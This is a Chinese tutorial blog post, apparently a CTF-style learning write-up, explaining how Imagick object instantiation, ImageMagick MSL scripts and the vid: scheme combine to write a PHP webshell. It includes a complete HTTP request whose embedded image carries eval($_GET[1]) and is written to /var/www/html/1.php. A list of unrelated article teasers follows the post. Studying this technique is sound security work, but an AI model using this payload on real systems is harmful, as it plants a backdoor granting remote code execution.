imagickd写shell的技术学习

news2024/11/15 10:45:39

前言

没想到吧哥们,imagickd也能写shell,真是学到了不少,下面会具体分析是如何写shell的

基础知识

Imagick类

参考官方手册https://www.php.net/manual/zh/class.imagick.php

重点关注他的构造方法

(PECL imagick 2, PECL imagick 3)

Imagick::__construct — The Imagick constructor
关注一下参数

files

The path to an image to load or an array of paths. Paths can include wildcards for file names, or can be URLs.

就是能够加载图片,甚至可以是远程的图片

我们尝试一手,当然我这里就不尝试了,因为这还不是重点,给个连接

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

原作者是这样说的

我测试了它是否 Imagick::__construct 接受远程方案并且可以通过 HTTP 连接到我的主机:

可以看到是可以的

我们自己尝试一下,首先构造如下的请求
http://192.168.177.146:8080/?a=Imagick&b=http://ip/test.svg

MSL脚本语言

可以参考一下官方的文档

重点是一些特殊的标签

READ

<read filename="image.gif" />
    <read filename="image.png />

<read> 标签用于从磁盘文件中读取一个或多个图像。它的作用是加载图像数据,以便后续可以在脚本中进行处理或操作。以下是一些关键方面:

  • 属性filename:这个属性指定要读取的图像文件的路径和名称。
  • 多图像读取:可以使用多个 <read> 标签来读取多个图像文件。这在处理多帧图像(如 GIF 或 TIFF 文件)时非常有用。

WRITE

<write> 标签用于将图像数据写入磁盘。它可以将当前图像或图像集合保存为文件。这是处理图像后保存结果的关键步骤。

  • 属性filename:指定写入文件的名称和格式。您可以指定输出文件的格式,如 TIFF、PNG、JPEG 等。

示例:

<write filename="image.tiff" />

这个示例将当前图像数据保存为名为 image.tiff 的 TIFF 文件。

发现是可以读写文件了,但是都是图片类想关的文件

vid协议

这个是ImageMagick中的一个协议,根据https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/师傅的发现

ExpandFilenames 的调用意味着 VID 方案接受掩码,并使用它们构建文件路径。

因此,通过使用该vid:方案,我们可以将临时文件与 MSL 内容一起包含进去,而不需要知道它的名称

意思是可以包含文件,但是不能知道名称的话我们就可以使用vid协议去解决

webshell构造

根据上面的知识,我们可以思考一下应该如何构造webshell

首先我们需要能够控制临时文件的内容

而当我们使用msl脚本的时候,就可以写临时文件

不过我们知道只能写图片类型的文件小问题,因为我们只需要向图片里面加入我们的脏数据就好了

可以参考ciscn2022的backdoor的题目

其中构造了如下的脚本

--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
 <write filename="/tmp/sess_afkl" />
</image>
--------------------------c32aaddf3d8fd979--

data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAA

  • 该字符串的开头部分 data:image/x-portable-anymap;base64, 表示这是一种特定格式的图像(PCX 格式)。而后面的内容是图像的 Base64 编码数据,这种数据经过编码以便嵌入和传输。

然后使用write标签写文件,这里

我们写入文件到html目录下

稍微修改上面的脚本

这里我就不修改文件内容了,解码出来就是

因为文件头检验有点麻烦

只需要包含我们的恶意内容就ok了

因为脚本加载的时候会产生一个内容可以控制的临时文件,然后我们可以去包含它,使用msl脚本去加载内容,因为write标签就会把我们的内容写到指定的目录

payload如下

POST /?a=Imagick&b=vid:msl:/tmp/php* HTTP/1.1
Host: 192.168.177.146:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
Content-Length: 710

--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
 <write filename="/var/www/html/1.php" />
</image>
--------------------------c32aaddf3d8fd979--

可以看到已经成功写入了,我们试一试

写入webshell成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2180685.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于vue框架的大学生兼职平台r8x19(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。

系统程序文件列表 项目功能&#xff1a;企业,用户,兼职信息,报名记录,岗位类型,专业,取消记录,评价记录 开题报告内容 基于Vue框架的大学生兼职平台开题报告 一、开题报告名称 基于Vue框架的大学生兼职平台 二、研究背景与意义 2.1 研究背景 随着高等教育的普及和就业市…

https访问报错:net::ERR_CERT_DATE_INVALLD

目录 简介异常排查原因解决补充 简介 访问https资源出现报错 异常 排查 将地址拿到浏览器进行访问&#xff0c;可以很清晰的看到出现该问题的原因 原因 1、SSL证书已过期 2、服务器日期不准&#xff0c;不在证书有效期 解决 1、重新申请SSL证书&#xff0c;并配置 2、校正…

平安养老险深圳分公司积极开展“金融教育宣传月”活动,展现金融为民新风尚

2024年9月&#xff0c;平安养老险深圳分公司以“金融为民谱新篇&#xff0c;守护权益防风险”为主题&#xff0c;正式启动2024年“金融教育宣传月”活动&#xff0c;通过多样化开展进乡村、进商圈、进企业等宣传教育活动&#xff0c;将金融消保知识送达广大消费者身边&#xff…

Linux使用systemd安排定期任务的操作详解

systemd 定时器是一种替代传统 cron 的方法&#xff0c;用于安排定时任务。 systemd 定时器由两部分组成&#xff1a;一个 .service 文件和一个 .timer 文件。.service 文件定义了要执行的任务&#xff0c;而 .timer 文件设定了何时执行这个任务。 通常位于 /etc/systemd/syste…

使用rsync+jenkins实现服务自动部署全流程

项目背景&#xff1a;城市政务云服务器没有上k8s&#xff0c;所有后端服务都是原始方式部署启动 &#xff08;java -jar xxx.jar&#xff09;&#xff0c;那么有没有方式简化部署难度&#xff0c;实现自动部署&#xff1f;当然是有的&#xff0c;下面详细介绍&#xff08;以Cen…

开源实战分享 | 新书:《大型语言模型实战手册》随书代码分享

《大型语言模型实战手册》(英文版)目前电子版在亚马逊有售&#xff0c;纸质版预计在2024年10月15日开售。该书通过超过275张定制插图&#xff0c;深入探索大型语言模型的世界&#xff0c;为Python开发者提供使用大型语言模型所需的实用工具和概念。 如果对于插图没有特别执念的…

Jupyter的使用分享

文章目录 碎碎念安装方法1.安装Anaconda方法2.通过库的安装方式 启动使用教程1.指定目录打开2.启动后的简单使用 小结 碎碎念 前情提示 之前与许多小伙伴交流的时候&#xff0c;发现大家对于pycharm更容易上手&#xff08;可能是比较好设置中文的原因&#xff09;&#xff0c;在…

【HTML】img标签和超链接标签

文章目录 img 标签src 属性alt 属性title 属性width/height 属性border 属性 超链接标签&#xff1a;a表格标签合并单元格 img 标签 img 是一个单标签 src 属性 img 标签必须搭配 src 使用&#xff08;指定图片的路径&#xff09; 相对路径&#xff1a; ./xxx.png./img/xxx.…

MyBatis的注入问题

对之前文章的补充&#xff1a;MyBatis中的#{}与${}注入问题----原文链接 前言&#xff1a; MyBatis是一个流行的Java持久层框架&#xff0c;用于将对象与数据库中的数据进行映射。然而&#xff0c;如果不当使用&#xff0c;MyBatis也可能受到诸如SQL注入这类的安全问题的影响。…

60天持仓法则:Aberration策略如何实现市场盈利

近期&#xff0c;我们频繁探讨的焦点多集中于短线交易的策略与技巧。今天&#xff0c;让我们转换视角&#xff0c;来聊聊中长线交易策略。中长线交易通常需要交易员有充足的耐心和严格的风控管理能力&#xff0c;才能在多变的市场里赢取利益。在中长线交易中趋势仍然是分析重点…

为什么做谷歌seo廉价服务无法带来真正的效果?

谷歌SEO是一个复杂且技术含量高的过程&#xff0c;涉及到人力、技术、以及外链资源等多个方面。这些元素的组合使得SEO服务不可能是廉价的。如果有人向您推荐廉价的SEO服务&#xff0c;您需要保持警惕&#xff0c;因为这样的服务通常效果甚微&#xff0c;甚至可能对您的网站造成…

华为OD机试 - 模拟商场优惠打折(Python/JS/C/C++ 2024 E卷 200分)

华为OD机试 2024E卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试真题&#xff08;Python/JS/C/C&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;私信哪吒&#xff0c;备注华为OD&#xff0c;加入华为OD刷题交流群&#xff0c;…

CHI write 传输——CHI(5)

上篇介绍了dataless的操作类型&#xff0c;本篇我们来介绍一下write 一、Write 操作概览 cache stash &#xff1a;一种投机行为&#xff0c;通过在其未来的使用点附近分配一个cacheline来提高系统性能&#xff0c;因为可以减少使用数据时的内存访问延迟 二、CopyBack CopyB…

CRM如何助力企业内部高效管理?

企业内部的高效管理不仅是提升竞争力的关键&#xff0c;也是实现企业可持续发展的基石。客户关系管理&#xff08;CRM&#xff09;系统&#xff0c;作为连接客户与企业内部流程的重要桥梁&#xff0c;其在促进企业内部高效管理方面的作用日益凸显。通过自动化工作流程、跨部门信…

19.第二阶段x86游戏实战2-寻找寻路call

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 本次游戏没法给 内容参考于&#xff1a;微尘网络安全 本人写的内容纯属胡编乱造&#xff0c;全都是合成造假&#xff0c;仅仅只是为了娱乐&#xff0c;请不要…

使用powershell的脚本报错:因为在此系统中禁止执行脚本

1.添加powershell功能环境&#xff1a; 2.启动powershell的执行策略 因为在此系统中禁止执行脚本。 set-executionpolicy unrestricted

leetcode每日一题day19(24.9.29)——买票需要的时间

思路&#xff1a;在最开始的情况下每人需要买的票数减一是能保持相对位置不变的&#xff0c; 如果再想减一就有可能 有某些人只买一张票&#xff0c;而离开了队伍&#xff0c; 所有容易想到对于某个人如果比当前的人买的多就按当前的人数量算 因为在一次次减一的情况下&#xf…

风险函数梳理工具

风险函数梳理工具 在日常的软件开发工作中&#xff0c;代码的安全性和质量至关重要。然而&#xff0c;面对庞大的代码库&#xff0c;手动查找潜在的风险函数不仅耗时&#xff0c;而且容易出错。特别是在团队协作中&#xff0c;代码审查和重构工作往往占据了大量宝贵的时间&…

【机器学习】---异构数据融合

文章目录 1. 引言2. 异构数据融合的概念3. 常用的异构数据融合技术3.1 早期融合&#xff08;Early Fusion&#xff09;3.2 晚期融合&#xff08;Late Fusion&#xff09;3.3 中期融合&#xff08;Intermediate Fusion&#xff09;3.4 递归融合&#xff08;Recursive Fusion&…

JavaSE——进制转换、原码、反码、补码、位运算(左移、右移、取反)

目录 一、四种进制介绍 二、进制的转换 (一)二进制—>十进制 (二)八进制—>十进制 (三)十六进制—>十进制 (四)十进制—>二进制 (五)十进制—>八进制 (六)十进制—>十六进制 (七)二进制—>八进制 (八)二进制—>十六进制 (九)八进制—>二…